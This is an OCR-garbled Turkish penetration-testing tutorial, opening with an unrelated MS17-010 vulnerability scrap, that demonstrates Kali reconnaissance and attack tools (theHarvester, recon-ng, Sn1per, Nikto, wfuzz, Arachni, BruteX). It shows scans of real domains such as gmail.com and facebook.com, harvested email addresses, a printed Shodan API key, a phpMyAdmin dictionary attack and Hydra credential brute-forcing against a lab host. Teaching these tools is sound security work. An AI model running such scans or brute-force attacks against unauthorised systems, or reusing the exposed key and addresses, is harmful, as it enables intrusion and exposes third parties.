IAVM Severity: |

Vulnerability Information

CPE: cpes/aimicrosoftwindows

Exploit Available: true

Exploit Ease: Exploits are available
Patch Pub Date: March 14, 2017
Vulnerability Pub Date: March 14,2017
In the news: true

Exploitable With

Metasploit (MS17-010 Eternallue SMB Remote
‘Windows Kernel Poal Corruption)
Core Impact

Mxtoolbox:

https://mxtoolbox.com/NetworkTools.aspx adresinden ilgili araglara erisim saglanir.

| Giivenli | https://mxtoolbox.com/NetworkTools.aspx
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TheHarvester:

Hedef domain hakkinda elde edilmesi gereken en dnemli bilgilerden biri de e-posta adreslerinin elde
edilmesi. Elde edilecek e-posta adresleri kaba-kuvvet (brute-force) yontemiyle sifrelerinin elde
edilmesi veya sosyal miihendislik saldirilarinda kullaniimasi saldirgan igin 6nemli bilgi niteligindedir.

Kullanimi ¢ok kolay bir arag. Asagidaki parametreleri kullanarak e-posta adreslerini toplayabilirsiniz.

root@kali:-# theharvester
of s o e o e o o o o o of o o e o e o o o of o of e o e o o o o o of ok o e o e o o o of o of o o e ok o o o o of o of e o e o o o o o of o o e e
* *
Ll N N ||____*
L I R N oSS NN NS A
S T U I A O I I I W /\\I_fl *
U VY T I O R O VA A A W B A N I A W W I *
* *
* TheHarvester Ver. 2.7 #
* Coded by Christian Martorella *
* Edge-Security Research #*
* cmartorella@edge-security.com *
o e e o o o e s o o e ok oo e s o o e ok o o b o o o o s o o e o o oo s o o e o ok oo sk ok of e o ok o ofe e ok o o sk o o e e ok o o o o of e
Usage: theharvester options
-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
google-profiles, jigsaw, twitter, googleplus, all
-s: Start in result number X (default: @)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file (both)
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-1: Limit the number of results to work with(bing goes from 58 to 50 results,
google 100 to 100, and pgp doesn't use this option)
-h: use SHODAN database to query discovered hosts
Examples:
theharvester -d microsoft.com -1 500 -b google -h myresults.html
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -1 200 -b linkedin
theharvester -d apple.com -b googleCSE -1 500 -s 300

theHarvester -d gmail.com -b bing -l 500 komutunu calistirdigimizda bing arama moturu tarafindan
indekslenmis gmail.com domaini icin 500 sonuca kadar ¢iktiyi getirecektir.

theHarvester -d gmail.com -b google -l 500

komutunu kullandiginizda ise bu sefer google da indexlenmis sonuclar getirecektir. Mimkiin

oldugunca fazla sonug icin -b parametresi icin kullanilacak tim kaynaklari kullanmaliyiz.



root@kali:-# theharvester -d gmail.com -b all
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TheHarvester Ver. 2.7
Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com
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Full harvest..

[-]1 Searching in Google..
Searching @ results...
Searching 100 results...

Searching in PGP Key server..

Searching in Bing..
Searching 50 results...
Searching 108 results...

[-]1 Searching in Exalead..

Searching 50 results...
Searching 108 results...
Searching 150 results...

p— —
i
ed e

[+] Emails found:

"@gmail.com

Qyuletv@gmail.com
.yaolulai@gmail.com
Bbl32c2c6c@gmail. com
3cc7c567b10511020429v7c8c5748n@mail.gmail. com
Benthesfoto@gmail.com
BookCharlieBlac@gmail. com
Cynthiatreenstudio@gmail.com
FunkyFlyProjectl@gmail.com
Jennyseomarketing®@l@@gmail. com
Justinjhayden®3@gmail. com




Dnsspider:

Dnsspider araci hedef domain icin subdomainleri tespit etmek amaciyla, sozIlk saldirisi veya
kabakuvvet saldirisi diizenleyerek dns kayitlarini tespit etmeye yarayan bir aragtir.

Varsayilan da kali de kurulu gelmemektedir.

https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspider adresinden kopyalayarak

kullanabilirsiniz.

root@kali:~/tools#
--==[ dnsspider by

usage:

optional arguments:
-t <type>
-a =domain=
-1 =wordlist=
-d =nameserver=
-1 <ipaddr=
-p =port=
-u =protocol=
-¢c =charset=
-m <=maxchar=
-5 =prefix=
-g =postfix=

python dnsspider.py -H
noptrix@nullsecurity.net ]==--

dnsspider.py -t <arg> -a <arg> [options]

attack type (@ for dictionary 1 for bruteforce)

subdomain to bruteforce

wordlist, one hostname per line (default: built-in)
choose another nameserver (default: your system's)

source ip address to use (default: your system's)

source port to use (default: @ -= first free random port)
speak via udp or tcp (default: udp)

choose charset @ [a-z0-9], 1 [a-z] or 2 [©-9] (default: @)
max chars to bruteforce (default: 2)

prefix for bruteforce, e.g. 'www'

postfix for bruteforce, e.g. 'www'

-0 =5ec> timeout (default: 3)
-V verbose mode - prints every attempt (default: quiet)
-W =Sec= seconds to wait for next request (default: @)
-X <num> number of threads to use (default: 32) - choose more :)
-r =logfile=> write found subdomains to file (default: stdout)
-V print version information
-H Erint this help
Kullanimi:

Python dnsspider.py -t 1

-a kurumdomain.com



https://github.com/nullsecuritynet/tools/tree/master/scanner/dnsspider

Dirb:

Dirb, bir web uygulamasinda bulunan tiim dizin ve sayfalara (acik veya gizli) kaba kuvvet saldirisi ile,
dizinin veya sayfanin varligini kontrol eder. Web uygulamacisi tarafindan gizlenmis sayfa veya dizinler
var ise, bu sayfalari bularak sizma amaclh kullabiliriz.

Kullanimi:
dirb <url_base> [<wordlist_file(s)>]
Hedef domain adresini ve wordlist’imizi yazarak taramaya basliyoruz.

Dirb gmail.com adresinde bulunan common.txt dosyasindaki 4612 adet kullanilabilecek tim dizin ve
sayfalari tek tek erisip erismedigini deneyecek.

root@kali:-# dirb gmail.com

DIRB v2.22
By The Dark Raver

(') FATAL: Invalid URL format: gmail.com/
(Use: "http://host/" or "https://host/" for S5SL)
root@kali:-# dirb https://gmail.com

DIRB wv2.22
By The Dark Raver

START TIME: Wed Feb 14 04:17:56 2018
URL BASE: https://gmail.com/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GEMERATED WORDS: 4612

Bazi sayfalara normal sartlarda manuel olarak erisip tespit etme sansimiz yok, dirb araci sayesinde
tespit edebilirsiniz.



Recon-ng:

recon-ng, hedef domain hakkinda bilgi toplama aracglarindan en énemlilerden biridir. Ucretsiz, acik
kaynak ve icerdigi modiller acgisindan tercih edilen bir aractir. Hedef domain hakkinda host bilgisi, IP
kayitlar, reverse kayitlar, kontak, lokasyon, dokiiman, sifre ve zaafiyet bilgisine kadar toplama
secenegi sunabilmektedir.

Recon-ng aracimizi kali de recon-ng komutu ¢alistirarak baslatiyoruz.
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Recon medules
Reporting modules
Import modules
Exploitation modules
Discovery modules

n-ngl[default] > |

Simdi
add
back

delete

exit
load

use

query

search

set
unset

show

workspaces

recon-ng de sik kullanilan komutlara bakalim

Adds records to the database /veritabanina kayit ekler

Exits the current context /bir 6nceki alana déner

Deletes records from the database /veritabanindan kayit siler
Exits the framework /recon-ng den ¢ikar

Loads specified module /ilgili modulu ylkler

Loads specified module /ilgili modli yikler

Queries the database /veritabaninda arama yapar

Searches available modules /Kullanilabilir modulleri arar

Sets module options /Modul secenekleri degistirir

Unsets module options / Modiil secenekleri eski haline getirir
Shows various framework items / Secenekleri sunar

Manages workspaces /Calisma alanini yonetir




[recon-ng][default] > show modules komutuyla tiim modilleri gorebiliriz.

Modallerinin bir kismi asagidaki gibidir.
Discovery
discovery/info_disclosure/cache_snoop

discovery/info_disclosure/interesting_files

Exploitation
exploitation/injection/command_injector

exploitation/injection/xpath_bruter

import/csv_file

import/list

recon/contacts-contacts/mailtester
recon/contacts-profiles/fullcontact
recon/domains-contacts/pgp_search
recon/domains-contacts/whois_pocs
recon/domains-credentials/pwnedlist/account_creds
recon/domains-credentials/pwnedlist/api_usage
recon/domains-credentials/pwnedlist/domain_creds
recon/domains-credentials/pwnedlist/domain_ispwned
recon/domains-credentials/pwnedlist/leak_lookup
recon/domains-credentials/pwnedlist/leaks_dump
recon/domains-hosts/brute_hosts
recon/domains-hosts/certificate_transparency
recon/domains-hosts/google_site_api
recon/domains-hosts/google_site_web
recon/domains-hosts/hackertarget

recon/domains-hosts/netcraft



recon/domains-hosts/shodan_hostname

recon/repositories-vulnerabilities/gists_search

recon/repositories-vulnerabilities/github_dorks
Reporting

reporting/csv

reporting/html

reporting/json

reporting/list

reporting/proxifier

reporting/pushpin

reporting/xIsx

reporting/xml

Calismaya baslarken dncelikle bir workspace olusturalim.
[recon-ng][default] > workspaces add test

Sonrasinda hedef domainimizi ekleyelim.
[recon-ng][user] > add domains facebook.com

[recon-ng][user] > show domains

+ +
| rowid | domain | module |
4 -+

| 1 | facebook.com | user_defined |

+ 4
T T

ilk 8nce hedef domain hakkinda hostlari bulmak igin netcraft modiiliinii kullanalim.

[recon-ng][user] > load netcraft
[recon-ng][user][netcraft] > show options

Name Current Value Required Description
SOURCE default yes  source of input (see 'show info' for details)

[recon-ng][user][netcraft] > show info komutuyla komutun ne yaptigini gérebiliriz
Name: Netcraft Hostname Enumerator
Path: modules/recon/domains-hosts/netcraft.py
Author: thrapt (thrapt@gmail.com)

Description:



Harvests hosts from Netcraft.com. Updates the 'hosts' table with the results.

[recon-ng][user][netcraft] > run

[*] URL: http://searchdns.netcraft.com/?{'restriction': 'site+ends+with', 'host'": 'facebook.com'}
[*] [host] zh-tw.facebook.com (<blank>)
[*] [host] www.facebook.com (<blank>)

[*] [host] m.facebook.com (<blank>)

[*] [host] apps.facebook.com (<blank>)

[*] [host] sv-se.facebook.com (<blank>)

[*] [host] wwww.facebook.com (<blank>)
[*] [host] static.ak.facebook.com (<blank>)
[*] [host] pl-pl.facebook.com (<blank>)

[*] [host] pt-br.facebook.com (<blank>)

[*] [host] graph.facebook.com (<blank>)
[*] [host] en-gb.facebook.com (<blank>)
[*] [host] da-dk.facebook.com (<blank>)
[*] [host] Im.facebook.com (<blank>)

[*] [host] it-it.facebook.com (<blank>)

[*] [host] fr-fr.facebook.com (<blank>)

[*] [host] staticxx.facebook.com (<blank>)
[*] [host] origamijp.facebook.com (<blank>)
[*] [host] de-de.facebook.com (<blank>)
[*] [host] I.facebook.com (<blank>)

[*] [host] es-es.facebook.com (<blank>)

[*] Next page available! Requesting again...
[*] Sleeping to Avoid Lock-out...

[*] URL: http://searchdns.netcraft.com/?{'restriction": 'site+ends+with', 'host': 'facebook.com’, 'last": 'origamijp.facebook.com’, 'from": '21'}
[*] [host] ja-jp.facebook.com (<blank>)

[*] [host] ww.facebook.com (<blank>)

[*] [host] business.facebook.com (<blank>)
[*] [host] free.facebook.com (<blank>)

[*] [host] beta.facebook.com (<blank>)

[*] [host] es-la.facebook.com (<blank>)

[*] [host] touch.facebook.com (<blank>)

[*] [host] mbasic.facebook.com (<blank>)



[*] [host] pl.facebook.com (<blank>)

[*] [host] web.facebook.com (<blank>)

[*] [host] developer.facebook.com (<blank>)
[*] [host] ar-ar.facebook.com (<blank>)

[*] [host] developers.facebook.com (<blank>)
[*] [host] ru-ru.facebook.com (<blank>)

[*] [host] mobile.facebook.com (<blank>)

[*] [host] nb.facebook.com (<blank>)

[*] [host] h.facebook.com (<blank>)

[*] [host] pt-pt.facebook.com (<blank>)

[*] [host] api.facebook.com (<blank>)

[*] [host] ca-es.facebook.com (<blank>)

[*] Next page available! Requesting again...
[*] Sleeping to Avoid Lock-out...

[*] URL: http://searchdns.netcraft.com/?{'restriction": 'site+ends+with', 'host': 'facebook.com’, 'last": 'api.facebook.com’, 'from": '41'}
[*] [host] el-gr.facebook.com (<blank>)

[*] [host] postmaster.facebook.com (<blank>)
[*] [host] nl-nl.facebook.com (<blank>)

[*] [host] facebook.facebook.com (<blank>)
[*] [host] hr-hr.facebook.com (<blank>)

[*] [host] nb-no.facebook.com (<blank>)

[*] [host] zh-hk.facebook.com (<blank>)

[*] [host] th-th.facebook.com (<blank>)

[*] [host] hu-hu.facebook.com (<blank>)

[*] [host] elkjopnordic.facebook.com (<blank>)
[*] [host] 0.facebook.com (<blank>)

[*] [host] lji.facebook.com (<blank>)

[*] [host] de.facebook.com (<blank>)

[*] [host] id-id.facebook.com (<blank>)

[*] [host] vi-vn.facebook.com (<blank>)

[*] [host] tr-tr.facebook.com (<blank>)

[*] [host] chat.facebook.com (<blank>)

[*] [host] connect.facebook.com (<blank>)
[*] [host] www.new.facebook.com (<blank>)
[*] [host] in.facebook.com (<blank>)

[*] Next page available! Requesting again...

[*] Sleeping to Avoid Lock-out...



[*] URL: http://searchdns.netcraft.com/?{'restriction": 'site+ends+with', 'host": 'facebook.com’, 'last": 'elkjopnordic.facebook.com’, 'from'":
61}

[*] [host] www.graph.facebook.com (<blank>)
[*] [host] blog.facebook.com (<blank>)
[*] [host] code.facebook.com (<blank>)
[*] [host] ro-ro.facebook.com (<blank>)

[*] [host] m2.facebook.com (<blank>)

[*] 65 total (65 new) hosts found.

Dahafazla sonug elde etmek igin recon/domains-hosts/bing_domain_web V€Ya recon/domains-hosts/google_site_web gibi
modulleri de kullanarak karsilastirma yapabilirsiniz.

recon/hosts-hosts/resolve komutunu kullanarak isimlerden Iplerini ¢dzlimleyebilirsiniz.

Diger tim modiillerin kullanimi ayni sekilde load <modul adi> ve sonrasinda run diyerek istenilen diger
tlim bilgi toplamayi yapabilirsiniz.

Bazi moduller icin API key’lere ihtiya¢ duyulmaktadir. Bing su anda api_key’i lcretli verirken shodan
icin sadece kayit yaptirmaniz yeterli olacaktir.

Account Overview

APl Key jJE909DQWDOMSLp3FtAROMOIilszcUCKOf

Reset AP| Key

API|_key’i aldiktan sonra asagidaki komutu kullanarak key’i ekleyebilirsiniz.
[recon-ng][user][shodan_net] > keys add shodan_api jE909DQwDOMS5Lp3FtAROmMOilszcUCKOf

Show dashboard komutu ile tim calismalarinizin sonucunu gorebilirsiniz. Listelemek istediginiz
kategori icin show <kategori adi> yazarak ciktilari gorebilirsiniz.

kategori icin show <kategori adi> yazarak ciktilari gorebilirsiniz.



reconfcompanies-contacts/jigsaw/search_contacts
reconfcontacts-profiles/fullcontact
reconfdomains-contacts/pgp_search
recon/domains-contacts/whois_pocs
reconfdomains-domains/brute_suffix
recon/domains-hosts/netcraft
reconfdomains-hosts/shodan_hostname
recon/domains-hosts/vpnhunter
recon/fhosts-hosts/freegeoip
recon/hosts-hosts/ipinfodb
recon/hosts-hosts/resolve
reconfhosts-hosts/reverse_resolve
reconf/hosts-portsy/shodan_ip
recon/locations-locations/fgeocode
reconflocations-locations/reverse_geocode
recon/netblocks-hosts/shodan_net
recon/profiles-profiles/nam

Companies
Netblocks
Locations
Vulnerabilities
Ports

Hosts
Contacts
Credentials
Leaks
Pushpins
Profiles
Repositories

load html
show options

[recon-ng][soder][html
[recon-ng][soder][html

>
>

Current Value Description

CREATOR creator name for the report footer
CUSTOMER y customer name for the report header
FILENAME /root/.recon-ng/workspaces/soder/results.html path and filename for report output
SANITIZE True mask sensitive data in the report

[recon-ng][soder][html] set CREATOR soder
CREATOR => soder
[recon-ng][soder][html] set CUSTOMER facebook
CUSTOMER => facebook
[recon-ng][soder][html] > run
Report generated at '/root/.recon-ng/workspaces/soder/results.html'.
[recon-ng][soder][html] >




Snlper:

Sniper hedef domain hakkinda bilgi elde etmek amaciyla kullanilan otomatize bir aractir. Recon-ng de
her istediginiz bilgi igin ayri ayri modil buluyor iken, sniper, tek bir komut ile hedef domain hakkinda
asagidaki tim bilgileri otomatik olarak getirmesini saglar.

Whois, DNS, ping gibi temel kayitlar,

Google hacking yontemiyle bilgi toplama, Agik portlar, Sub-domainler, Nmap scripleri galistirma, Tim
web uygulamalarinda ve hedef IP’lerde zaafiyetleri tespit etme, Acik servislere otomatik olarak kaba
kuvvet saldirisi yapma, Zaafiyetleri somiirmeye calisma ve shell alma, Otomaik olarak domain icin
workspace olusturup, tiim sonuglari raporlayama gibi tek bir komutla tim bilgileri getirebeliriz.

Kullanima:

Kalide varsayllan olarak gelmemektedir. Github dan asagidaki komutlar calistirilarak indirilip
calistirlabilir.

Kali de tools diye bir klasér olusturup sniper aracini indirip kuruyorum

root@kali:~/tools/sn1per# git clone https://github.com/1N3/Snlper.git

sniper <hedef domain> dememiz yeterli. Bir ¢cok bilgiyi getirecegi icin tarama uzun siirecektir.

root@kali: # ./sniper gmail.com
/ A
7 / NS Y4 NS /
( Y S S Yy
/ R A F - A SS
s

RUNNING NSLOOKUP

Server: 192.168.1.1
Address: 192.168.1.1#53

Mon-authoritative answer:
MName : gmail.com
Address: 216.58.212.37

gmail.com has address 216.58.212.37

gmail.com has IPv6 address 2a08:1450:4017:800::2005

gmail.com mail is handled by 40 alt4.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 1® altl.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 20 alt2.gmail-smtp-in.l.google.com.
gmail.com mail is handled by 38 alt3.gmail-smtp-in.Ll.google.com.
gmail.com mail is handled by 5 gmail-smtp-in.l.google.com.

CHECKING 05 FINGERPRINT

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o@o.nu, ofir@sys-security.com, meder@ocBo.nu

[+] Target is gmail.com
[+]1 Loading modules.

Taramanin sonunda rapor istiyorsaniz

./sniper <hedef domain> report komutunu kullanabilirsiniz. Taramanin sonunda rapor loot
klasorlnin altinda hedef domain adinda olusturulacaktir.


https://github.com/1N3/Sn1per.git

Nikto:
Nikto araci, web uygulamalarinda bulunan zaafiyetleri tespit etmek amaciyla kullanilan, kullanimi
oldukga basit lcretsiz, agik kaynak glivenlik aracidir.

Nikto aracinin 6zellikleri:

SSL ve HTTP proxy desteklemektedir.

Uygulama sunucusunun giincel olup olmadigini tespit edebilmektedir.
Header bilgisinden yazilim bilgisini elde edebilir.

Altdomain bilgisini, klasor bilgisini tespit edebilmektedir.

Zaafiyet bilgisini giincel OSVDB den kontrol edebilmektedir.

Tarama sonucunu text, XML, HTML, NBE ve CSV formatinda kaydedebilmektedir.
En basit kullanimi;

nikto -h <hedef site veya ip>

Sik kullanilan parametrelerine bakacak olursak,

./nikto -H komutuyla yardim mendisine erisebilirsiniz.

-h hedef site veya iP

-nolookup DNS lookup yapma

-list-plugins  Pluginleri listele

-nossl SSL kullanma
-ssl SSL kullanmaya zorla
-Tuning+ Tarama ayarlari

1 Interesting File / Seen in logs

2 Misconfiguration / Default File

3 Information Disclosure

4 Injection (XSS/Script/HTML)

5 Remote File Retrieval - Inside Web Root
6 Denial of Service

7 Remote File Retrieval - Server Wide
8 Command Execution / Remote Shell
9 SAQL Injection

0 File Upload

a Authentication Bypass

b Software Identification



¢ Remote Source Inclusion
d WebService
e Administrative Console

X Reverse Tuning Options (i.e., include all except specified)

-update CIRT.net den veritabanini ve pluginleri glincelle
-useproxy proxy kullan
-Format taramanin gikti formati

root@kali:~# nikto -h soder.com.tr
- Nikto v2.1.6

+ Target IP: 104.27.182.26

+ Target Hostname: soder.com.tr

+ Target Port: 80

+ Start Time: 2018-02-14 04:58:08 (GMT-5)

+ Server: cloudflare

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ Uncommon header 'cf-ray' found, with contents: 3ecf2acfe6349bf3-AMS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

Tuning parametreleriyle taramaya daha da 6zellestirebilir veya istediginiz formatta kaydedebilirsiniz.



Wfuzz:

Wfuzz araci, hedef domaine ait web uygulamalarina karsi yapilan bir kesif aracidir. Web sistesinin
altinda bulunan dizin, dosya ve formlari kendi biinyesinde bulunan sézlikler yardimiyla tespit etmeye
calisir. Tespit olmus oldugu formlara kaba kuvvet saldirisi yaparak oturum agma denemeleri yapabilen
bir aragtir. Taramanin sonuglarini renklerle gorsellestirebilirsiniz.

Sik kullanilan parametrelere bakalim,

-C : tarama sonucunu renklendirir
-v :verbose segenegini etkinlestirir
-p addr : proxy kullanimini etkinlestirir. Formati ip:port:type

Type segenekleri SOCKS4,SOCKS5

-1 : HTTP HEAD methodunu kullanir.

--follow : HTTP redirectionlari takip eder.

-Z : Tarama(Scan) mode (baglanti hatalari dikkate alinmaz).
-z payload : payload tanimlasi igin kullanilir

-b cookie :istek (request) i¢in cookie kullanir

-d postdata : post data kullanir (6rn: "id=FUZZ&catalogue=1")

-H headers : header lari kullanir

(6rn:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")

--basic/ntlm/digest auth : "user:pass" veya "FUZZ:FUZZ" veya "domain\FUZ2Z:FUZZ" olarak
kullanilir

--hc/hl/hw/hh N[,N]+ : belli kodda dénen yanitlari gizler.
--sc/sl/sw/sh N[,N]+ : belli kodda dénen yanitlari gosterir

--filter <filter> : Yanitlari filtreler: ¢,l,w,h/and,or/=,<,>,1=,<=,>=

“Croot@kali:-# wfuzz

Warning: Pycurl is not compiled against Openssl. wWfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

Wfuzz 2.2.3 - The Web Fuzzer

Version up to 1.4c coded by:
Christian Martorella (cmartorella@edge-security.com)
Carlos del ojo (deepbit@gmail.com)
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Version 1.4d to 2.2.3 coded by:
Xavier Mendez (xmendez@edge-security.com)

Usage: wfuzz [options] -z payload,params <url>

FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline value} FUZZ will be replaced by baseline value. It will be the first request performed and could be used as a base for filtering

Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c¢ -z range,1-10 --hc=BBB http://www.site.com/FUzZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

Type wfuzz -h for further information or --help for advanced usage.

Kullanima:

wfuzz.py [options] -z payload,params <url>



Her payload icin ilgili alana FUZZ kelimesi kullaniyoruz. Birden ¢ok payload var ise FUZZ, FUZ2Z, FUZ3Z
VS.

Asagidaki komut 192.168.152.135 web sunucusundaki dizin,dosya ve formlari kesfeder.

wfuzz -c -z file,' /usr/share/wordlists/wfuzz/general/common.txt' -v --hc 404
http://192.168.152.135/FUZZ

Tespit etmis oldugu http://192.168.152.135/phpMyAdmin/ formuna kullanici adi admin ve root, sifre
olarak da wordlistimizde bulunan common_pass.txt dosyasini kullanarak, sadece 200 yanitlarini
getirecek bir s6zIik atagi i¢in asagidaki komutu kullanabilirsiniz.

wfuzz -c -z list,admin-root -z file,' /usr/share/wfuzz/wordlist/others/common_pass.txt' -v —sc 200 -
b "pma_username=FUZZ&pma_password=FUZ2Z" http://192.168.152.135/phpMyAdmin/



http://192.168.152.135/FUZZ
http://192.168.152.135/phpMyAdmin/
http://192.168.152.135/phpMyAdmin/

Arachni:

Arachni araci, sizma testi uzmanlari tarafindan kullanilan web giivenlik analizi yapan, agik kaynak
Ucretsiz bir yazilimdir. Arachni araci, icerisinde bulunan birgok modil sayesinde, web glivenligi
analizinde kullanilan bircok zaafiyet taramasini otomatik olarak yapabilmektedir. Web uygulamasindan
aldigi yanitlar sayesinde kendi kendine 6grenme yetenegi de bulunmaktadir.

Arachni araciyla asagidaki tiim zafiyetler icin tarama yapilabilir.

arachni --checks-list | grep [*]
[*] session_fixation:

[*] os_cmd_injection_timing:
[*] unvalidated_redirect_dom:
[*] trainer:

[*] Idap_injection:

[*] code_injection_php_input_wrapper:
[*] xss_dom_script_context:
[*] xss_event:

[*] rfi:

[*] xss_dom:

[*] xpath_injection:

[*] os_cmd_injection:

[*] code_injection:

[*] xss_tag:

[*] sql_injection_differential:
[*] sql_injection:

[*] code_injection_timing:

[*] xss_script_context:

[*] sql_injection_timing:

[*] xss_path:

[*] file_inclusion:

[*] unvalidated_redirect:

[*] source_code_disclosure:
[*] path_traversal:

[*] xss:

[*] csrf:

[*] no_sql_injection:

[*] xxe:

[*] response_splitting:

[*] no_sql_injection_differential:

[*] interesting_responses:



[*] htaccess_limit:

[*] insecure_cross_domain_policy_access:
[*] insecure_client_access_policy:

[*] localstart_asp:

[*] backup_files:

[*] http_put:

[*] common_files:

[*] credit_card:

[*] insecure_cors_policy:

Checks the host for a wildcard (***) *Access-Control-Allow-Origin® header.
[*] hsts:

[*] password_autocomplete:

[*] unencrypted_password_forms:

[*] form_upload:

[*] cvs_svn_users:

[*] emails:

[*] x_frame_options:

[*] insecure_cookies:

[*] captcha:

[*] private_ip:

[*] ssn:

[*] cookie_set_for_parent_domain:

[*] http_only_cookies:

[*] html_objects:

[*] mixed_resource:

[*] backup_directories:

[*] allowed_methods:

[*] origin_spoof_access_restriction_bypass:
[*] directory_listing:

[*¥] common_directories:

[*] insecure_cross_domain_policy_headers:
[*] xst:

[*] common_admin_interfaces:

[*] webdav:

[*] backdoors:



Kullanimi:
arachni <hedef site veya hedef IP> parametre

arachni http://192.168.152.135Komutu kullanildiginda tim zaafiyetler kontrol edilir.

./arachni http://192.168.152.135 --checks xss* xss ile ilgili tiim kontroller yapilir.

.Jarachni http://192.168.152.135 --checks=*,-backup_files,-xss “-“ile harig tutulur

./arachni http://192.168.152.135 --http-proxy ADDRESS:PORT proxy kullanilir.

./arachni --checks-list komutuyla zaafiyet modullerinin detaylarini gérebilirsiniz.

[*] session_fixation:

Name: Session fixation

Description:

Checks whether or not the session cookie can be set to an arbitrary value.

Severity: High

Elements: form, link, link_template

Author: Tasos "Zapotek" Laskos <tasos.laskos@arachni-scanner.com>
Version: 0.1.2

Path: /pentest/vulnerability-analysis/arachni/components/checks/active/session_fixation.rb
Simdi 192.168.152.135 IP’sinde xss igin tarattiralim.

arachni http://192.168.152.135 --checks xss*

Relevant issues:

[+] Cross-Site Scripting (XSS) in link input 'template' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in script context in link input 'param1' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS5) in script context in link input 'template' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in HTML tag in link input 'param2' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS) in HTML tag in link input 'paraml' using GET at the following pages:
* http://192.168.152.135/twiki/bin/oops/Main/1
* http://192.168.152.135/twiki/bin/oops/Main/WebHome

[+] Cross-Site Scripting (XSS5) in HTML tag in link input 'topicparent' using GET at the following pages:
* http://192.168.152.135/twiki/bin/edit/Main/Set-cookieTamperd9429954-1075-488a-815a-0461ed7c2775
* http://192.168.152.135/twiki/bin/edit/Main/73465124114398113180wasporg

Cross-Site Scripting (XSS) in HTML tag in link input 'page' using GET at the following pages:
* http://192.168.152.135/mutillidae/
* http://192.168.152.135/mutillidae/index.php

Report saved at: /pentest/vulnerability-analysis/arachni/bin/192.168.152.135 2017-02-02 19 36 11 +0300.afr [0.09MB]

Audited 94 page snapshots.

Duration: 00:26:53

Processed 12411/12445 HTTP requests.
-- B.724 requests/second.

Processed 1320/1389 browser jobs.

-- 6.247 second/job.

Currently auditing http://192.168.152.135/twiki/bin/search/Main/?search=1&scope=text&ignorecase=on
Burst response time sum 102.252 seconds

Burst response count 106

Burst average response time 8.965 seconds

Burst average 2.609 requests/second



http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/
http://192.168.152.135/

BruteX:

Brutex araci, sadece hedef domain hakkinda sadece ip bilgisine sahip olmaniz yeterli. Clinkl bu arag
sizin igin hedef domaine sizmak igin birgok seyi tek bir komutla otomatik olarak yapacaktir. Sizin igin
acik portlari, servisleri, dns bilgisini ve bu bilgilere kaba kuvvet saldirisini otomatik olarak yaparak size
servislerle ilgili kullanici adi ve sifreleri getirecektir. Bu arac ile ne nmap komutlarini ne de kaba kuvvet
saldirisi aracini bilmenize gerek kalmayacaktir.

Kullanimi:
brutex <ip adresi ve blogu>

192.168.152.135 ip’sine yaptigimiz taramada goruldigu gibi port ve servisleri tespit etti, tespit ettigi
servislere brute force uygulayip, kullanici adi ve sifreleri tespit etmektedir.

root@soder: /pentest/exploitation/brutex# ./brutex 192.168.152.135

FHEHR SRR RS Running Port Scan #HHHEEAEEHIEH R

Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-01-13 20:43 +03
Nmap scan report for 192.168.152.135
Host is up (0.0094s latency).

Not shown: 11 closed ports

some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE

21/tcp open ftp

22 [tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open wvnc

6667/tcp open i

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds
HAMHABHRA AR IR ERACHABHRRACAAAAR. RUNNANG Brute Force HUMiisuRiutaiitnantiianis

+ == == rt 21 opened... running tes o
Hydra v8.4-dev (c) 2016 by van Hau<er}THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2817-01-13 20:44:12
[DATA] max 1 task per 1 server, overall 1 tasks, 38 login tries, ~30 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.152.135 login: anonymous password: anonymous
[21][ftp] host: 192.168.152.135 login: ftp password: fip
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http //www the.org/thc-hydra) finished at 2017-81-13 20:44:50
ed. running tes a
Hydra v8.4-dev (c) 2016 by van Hau<er/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-13 20:44:50
